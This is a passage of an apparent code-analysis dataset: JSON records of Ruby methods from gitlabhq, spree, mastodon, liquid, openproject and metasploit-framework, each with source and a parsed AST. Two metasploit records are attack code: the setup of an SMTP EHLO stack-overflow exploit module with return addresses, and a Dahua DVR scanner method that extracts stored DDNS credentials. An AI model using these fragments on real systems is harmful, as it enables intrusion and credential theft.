token...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ln\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ln\"]},\"chomp!\"]},{\"type\":\"lvasgn\",\"children\":[\"csrf_nonce\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ln\"]},\"index\",{\"type\":\"const\",\"children\":[null,\"CSRF_VAR\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csrf_nonce\"]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ln\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csrf_nonce\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CSRF_VAR\"]},\"length\"]}]},{\"type\":\"int\",\"children\":[32]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"e83c852f-9246-48ff-84dc-fcdfd898b15d"}
{"repo_name":"liquid","file_path":"./repos/liquid/performance/memory_profile.rb","start_line":23,"raw_source":"def profile(phase, &block)\n    print(LOG_LABEL)\n    print(\"#{phase}.. \".ljust(10))\n    report = MemoryProfiler.report(&block)\n    puts 'Done.'\n    @headings  << phase.capitalize\n    @allocated << \"#{report.scale_bytes(report.total_allocated_memsize)} (#{report.total_allocated} objects)\"\n    @retained  << \"#{report.scale_bytes(report.total_retained_memsize)} (#{report.total_retained} objects)\"\n\n    return if ENV['CI']\n\n    require 'fileutils'\n    report_file = File.join(REPORTS_DIR, \"#{sanitize(phase)}.txt\")\n    FileUtils.mkdir_p(REPORTS_DIR)\n    report.pretty_print(to_file: report_file, scale_bytes: true)\n  end","complexity_score":27.75,"ast_json":"{\"type\":\"def\",\"children\":[\"profile\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"phase\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"const\",\"children\":[null,\"LOG_LABEL\"]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phase\"]}]},{\"type\":\"str\",\"children\":[\".. \"]}]},\"ljust\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"lvasgn\",\"children\":[\"report\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MemoryProfiler\"]},\"report\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Done.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@headings\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phase\"]},\"capitalize\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@allocated\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"scale_bytes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"total_allocated_memsize\"]}]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"total_allocated\"]}]},{\"type\":\"str\",\"children\":[\" objects)\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@retained\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"scale_bytes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"total_retained_memsize\"]}]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"total_retained\"]}]},{\"type\":\"str\",\"children\":[\" objects)\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CI\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"fileutils\"]}]},{\"type\":\"lvasgn\",\"children\":[\"report_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"const\",\"children\":[null,\"REPORTS_DIR\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sanitize\",{\"type\":\"lvar\",\"children\":[\"phase\"]}]}]},{\"type\":\"str\",\"children\":[\".txt\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"const\",\"children\":[null,\"REPORTS_DIR\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"pretty_print\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_file\"]},{\"type\":\"lvar\",\"children\":[\"report_file\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scale_bytes\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"2f46e0de-77c9-4bcc-916d-34913ac88646"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/instrumentation_helper.rb","start_line":35,"raw_source":"def instrument_gitaly(payload)\n      gitaly_calls = Gitlab::GitalyClient.get_request_count\n\n      return if gitaly_calls == 0\n\n      payload[:gitaly_calls] = gitaly_calls\n      payload[:gitaly_duration_s] = Gitlab::GitalyClient.query_time\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"instrument_gitaly\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"gitaly_calls\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GitalyClient\"]},\"get_request_count\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gitaly_calls\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"gitaly_calls\"]},{\"type\":\"lvar\",\"children\":[\"gitaly_calls\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"gitaly_duration_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GitalyClient\"]},\"query_time\"]}]}]}]}","id":"5e157cba-2375-42f0-8077-d3d4947ed86d"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/user/has_settings.rb","start_line":74,"raw_source":"def setting_aggregate_reblogs\n    settings['aggregate_reblogs']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"setting_aggregate_reblogs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"[]\",{\"type\":\"str\",\"children\":[\"aggregate_reblogs\"]}]}]}","id":"e987a1cd-5b32-4663-a171-c0f3019f4f81"}
{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/core/controller_helpers/strong_parameters.rb","start_line":13,"raw_source":"def permitted_payment_attributes\n          permitted_attributes.payment_attributes + [\n            source_attributes: permitted_source_attributes\n          ]\n        end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_payment_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_attributes\"]},\"payment_attributes\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_attributes\"]},{\"type\":\"send\",\"children\":[null,\"permitted_source_attributes\"]}]}]}]}]}]}","id":"30e3c46b-b155-4967-99e0-0b3356555ad3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/chain/build/associations.rb","start_line":12,"raw_source":"def perform!\n              assign_pipeline_variables\n              assign_source_pipeline\n            end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assign_pipeline_variables\"]},{\"type\":\"send\",\"children\":[null,\"assign_source_pipeline\"]}]}]}","id":"cd11575b-8fe8-46d5-b065-071db18b0f7f"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/gift_card_batch.rb","start_line":74,"raw_source":"def set_currency\n      self.currency ||= store&.default_currency\n    end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"set_currency\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"currency\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store\"]},\"default_currency\"]}]}]}","id":"155640d2-3426-4af3-83a0-4c5247133e9c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name'\t=> 'TABS MailCarrier v2.51 SMTP EHLO Overflow',\n        'Description'\t=> %q{\n          This module exploits the MailCarrier v2.51 suite SMTP service.\n          The stack is overwritten when sending an overly long EHLO command.\n        },\n        'Author' => [ 'aushack' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2004-1638' ],\n          [ 'OSVDB', '11174' ],\n          [ 'BID', '11535' ],\n          [ 'EDB', '598' ],\n        ],\n        'Platform' => ['win'],\n        'Arch'\t=> [ ARCH_X86 ],\n        'Privileged'\t=> true,\n        'DefaultOptions' => {\n          'EXITFUNC' => 'thread',\n        },\n        'Payload' => {\n          # 'Space'\t\t\t=> 300,\n          'BadChars' => \"\\x00\\x0a\\x0d:\",\n          'StackAdjustment'\t=> -3500,\n        },\n        'Targets' => [\n          # Patrick - Tested OK 2007/08/05 : w2ksp0, w2ksp4, xpsp0, xpsp2 en.\n          [ 'Windows 2000 SP0 - XP SP1 - EN/FR/GR', { 'Ret' => 0x0fa14c63\t} ], # jmp esp expsrv.dll w2ksp0 - xpsp1\n          [ 'Windows XP SP2 - EN', { 'Ret' => 0x0fa14ccf } ], # jmp esp expsrv.dll xpsp2 en\n        ],\n        'DisclosureDate' => '2004-10-26',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(25),\n        Opt::LHOST(), # Required for stack offset\n      ]\n    )\n  end","complexity_score":7.65,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"TABS MailCarrier v2.51 SMTP EHLO Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits the MailCarrier v2.51 suite SMTP service.\\n\"]},{\"type\":\"str\",\"children\":[\"          The stack is overwritten when sending an overly long EHLO command.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"aushack\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2004-1638\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"11174\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"11535\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"598\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\n\\r:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 SP0 - XP SP1 - EN/FR/GR\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[262229091]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP SP2 - EN\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[262229199]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2004-10-26\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[25]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"LHOST\"]}]}]}]}]}","id":"fbc58fa4-9d03-4fef-ad3e-8e0703094e02"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/comment_filter.rb","start_line":40,"raw_source":"def where_condition\n    <<-SQL\n     SELECT 1 FROM #{journal_table}\n     WHERE #{journal_table}.journable_id = #{WorkPackage.table_name}.id\n\t   AND #{journal_table}.journable_type = '#{WorkPackage.name}'\n     AND #{notes_condition}\n    SQL\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"where_condition\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"     SELECT 1 FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"journal_table\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"     WHERE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"journal_table\"]}]},{\"type\":\"str\",\"children\":[\".journable_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".id\\n\"]},{\"type\":\"str\",\"children\":[\"\\t   AND \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"journal_table\"]}]},{\"type\":\"str\",\"children\":[\".journable_type = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"'\\n\"]},{\"type\":\"str\",\"children\":[\"     AND \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notes_condition\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}","id":"e21af22a-195b-4017-b9b4-68ee33df2921"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/in_operator_optimization/order_by_columns.rb","start_line":57,"raw_source":"def replace_value_in_array_by_position_expressions\n            columns.map do |column|\n              name = \"#{QueryBuilder::RECURSIVE_CTE_NAME}.#{column.array_aggregated_column_name}\"\n              new_value = \"next_cursor_values.#{column.original_column_name}\"\n              \"#{name}[:position_query.position-1]||#{new_value}||#{name}[position_query.position+1:]\"\n            end\n          end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"replace_value_in_array_by_position_expressions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"columns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QueryBuilder\"]},\"RECURSIVE_CTE_NAME\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"array_aggregated_column_name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_value\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"next_cursor_values.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"original_column_name\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"[:position_query.position-1]||\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_value\"]}]},{\"type\":\"str\",\"children\":[\"||\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"[position_query.position+1:]\"]}]}]}]}]}","id":"af7eb1ef-afd9-44f8-ad53-850ce49010b8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb","start_line":135,"raw_source":"def grab_ddns\n    connect\n    sock.put(DDNS)\n    return unless (response = sock.get_once)\n\n    data = response.split(/&&[0-1]&&/)\n    ddns_table = Rex::Text::Table.new(\n      'Header' => 'Dahua DDNS Settings',\n      'Indent' => 1,\n      'Columns' => ['Peer', 'DDNS Service', 'DDNS Server', 'DDNS Port', 'Domain', 'Username', 'Password']\n    )\n    data.each_with_index do |val, index|\n      next if index == 0\n\n      val = val.split(\"&&\")\n      ddns_service = val[0]\n      ddns_server = val[1]\n      ddns_port = val[2]\n      ddns_domain = val[3]\n      ddns_user = val[4]\n      ddns_pass = val[5]\n      ddns_table << [ peer, ddns_service, ddns_server, ddns_port, ddns_domain, ddns_user, ddns_pass ]\n      unless ddns_server.blank? && ddns_port.blank? && ddns_user.blank? && ddns_pass.blank?\n        if datastore['VERBOSE']\n          ddns_table.print\n        end\n        report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)\n      end\n    end\n  end","complexity_score":55.35,"ast_json":"{\"type\":\"def\",\"children\":[\"grab_ddns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"const\",\"children\":[null,\"DDNS\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"&&[0-1]&&\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ddns_table\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"Dahua DDNS Settings\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Peer\"]},{\"type\":\"str\",\"children\":[\"DDNS Service\"]},{\"type\":\"str\",\"children\":[\"DDNS Server\"]},{\"type\":\"str\",\"children\":[\"DDNS Port\"]},{\"type\":\"str\",\"children\":[\"Domain\"]},{\"type\":\"str\",\"children\":[\"Username\"]},{\"type\":\"str\",\"children\":[\"Password\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"val\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"split\",{\"type\":\"str\",\"children\":[\"&&\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ddns_service\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ddns_server\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ddns_port\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ddns_domain\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ddns_user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ddns_pass\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"[]\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ddns_table\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]},{\"type\":\"lvar\",\"children\":[\"ddns_service\"]},{\"type\":\"lvar\",\"children\":[\"ddns_server\"]},{\"type\":\"lvar\",\"children\":[\"ddns_port\"]},{\"type\":\"lvar\",\"children\":[\"ddns_domain\"]},{\"type\":\"lvar\",\"children\":[\"ddns_user\"]},{\"type\":\"lvar\",\"children\":[\"ddns_pass\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ddns_server\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ddns_port\"]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ddns_user\"]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ddns_pass\"]},\"blank?\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VERBOSE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ddns_table\"]},\"print\"]},null]},{\"type\":\"send\",\"children\":[null,\"report_ddns_cred\",{\"type\":\"lvar\",\"children\":[\"ddns_server\"]},{\"type\":\"lvar\",\"children\":[\"ddns_port\"]},{\"type\":\"lvar\",\"children\":[\"ddns_user\"]},{\"type\":\"lvar\",\"children\":[\"ddns_pass\"]}]}]}]}]}]}]}]}","id":"1f399770-1028-497a-838d-d91a670479bc"}
